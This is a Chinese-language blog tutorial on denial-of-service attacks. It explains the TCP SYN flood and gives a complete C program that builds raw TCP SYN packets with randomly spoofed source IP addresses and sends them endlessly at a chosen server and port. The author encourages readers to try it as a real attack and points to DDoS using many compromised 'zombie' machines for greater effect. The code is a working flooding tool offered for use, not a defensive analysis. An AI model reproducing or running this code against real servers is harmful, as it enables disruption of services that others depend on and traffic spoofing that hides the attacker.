一,前言
Dos(Denial of Service) 即拒绝服务攻击。在建立tcp连接过程中,有三次握手过程,假如客户端向服务器发送连接请求,服务器收到请求并准备建立连接,但客户端假如迟迟不确认连接将损耗服务器的资源。如果这样的请求多了,将严重影响服务器工作。这就是Dos 攻击的基本原理。然而由于单台客户端发送的客户端请求很有限,一般很难对处理能力强的服务器造成影响,所以Dos攻击在实际使用过程中一般采用DDos(Distribute Deny of Service ),分布式拒绝服务攻击,控制多台肉机客户端同时向服务器发送连接请求,以达到使服务器不能工作的目的。
二, 要点及原理分析
1. 由于需要用伪造的ip地址, 所以需要自定义ip头, 这需要对套接字属性进行设置:
int opt = 1;
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)); 2. 为了更方便的填充ip报文头及tcp报文头, 这里需要用到 struct ip 以及 struct tcphdr:
struct ip
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
struct tcphdr
struct tcphdr {
__be16 source;
__be16 dest;
__be32 seq;
__be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your defines"
#endif
__be16 window;
__be16 check;
__be16 urg_ptr;
};
三, 代码实现
接下来就可用socket编程来实现Dos 了:
/* *************** Dos.c ************** *
* author: xiahouzuoping
* *************************************
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define LOCALPORT 999
// 校验和函数
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
{
if (argc != 3) {
printf("argument error!\n");
printf("Dos <serverip> <port>\n");
exit (1);
}
int opt = 1;
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
// initialize socket
memset( &addr, 0x0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons( atoi(argv[2]));
if ( inet_aton( argv[1], &addr.sin_addr) == 0)
{
host = gethostbyname( argv[1] );
if ( host == NULL) {
printf("%s", hstrerror(h_errno));
exit(1);
}
addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
}
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
printf("%s", strerror(errno));
exit(1);
}
// set socket include ip head
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt));
// create data which only has head, and content is null
unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)] ;
struct ip *ip;
struct tcphdr *tcp;
int len = sizeof(buffer);
memset(buffer, 0x0, sizeof(buffer));
ip = (struct ip *)buffer;
tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
// fill in tcp head, set seq be random ,and syn = 1
tcp->source = htons(LOCALPORT);
tcp->dest = addr.sin_port;
tcp->seq = random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
// fill in ip head
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(len);
ip->ip_id = 0;
ip->ip_off = 0;
// ip->ip_ttl = MAXTTL;
ip->ip_p = IPPROTO_TCP;
//ip->ip_sum = 0;
//ip->ip_src.s_addr
ip->ip_dst = addr.sin_addr;
while (1) {
ip->ip_ttl = 0;
ip->ip_sum = htons(sizeof(struct tcphdr));
ip->ip_src.s_addr = random();
tcp->check = 0;
tcp->check = check_sum((u_int16_t *)buffer +4, sizeof(buffer) - 8);
ip->ip_ttl = MAXTTL;
sendto(sockfd, buffer, len, 0, (struct sockaddr *)(&addr), sizeof(struct sockaddr_in));
}
}
u_int16_t check_sum(u_int16_t *buffer, int size)
{
register int len = size;
register u_int16_t *p =buffer;
register u_int32_t cs = 0;
while ( len >= 2)
{
cs += *(p++);
len -= 2;
}
if (1 == len)
{
cs += *((unsigned char *)buffer);
}
while ( (cs&0xffff0000) != 0)
cs = (cs>>16) + (cs&0xffff);
return (u_int16_t)(~cs);
}
四, 小结与分析
可以用以上代码去做实际的Dos 攻击实践, 会发现自己本地的网络被占用的非常厉害,好多网页都打不开,而我们原本要攻击的服务器则基本不会受到太大的影响。 出现这样的反差是因为,以上进程用while(1) 循环不断的往外发包,这极大的占用了本地网卡的带宽,造成本地网卡拥堵,而引起其他的网络也用不了。 所以如果真正的要用Dos去干扰一台服务器工作,除非服务器性能远低于我们的客户机,不然的话,光一台客户机是不够的, 我们需要多台客户机同时发动Dos攻击,这就是现实中为什么大多数网络攻击一般是DDos的原因,即用分布式原理控制多台机器发动Dos攻击。
本文介绍了DoS(拒绝服务攻击)的基本原理,通过三次握手过程阐述其如何消耗服务器资源。重点讲解了在Linux环境下,如何利用自定义IP头部进行socket编程实现DoS攻击,并提供了相关代码示例。然而,单台机器的攻击往往难以对高性能服务器造成显著影响,因此实践中通常采用DDoS(分布式拒绝服务)攻击,控制多台设备同时发起攻击以影响目标服务器。
1050

被折叠的 条评论
为什么被折叠?



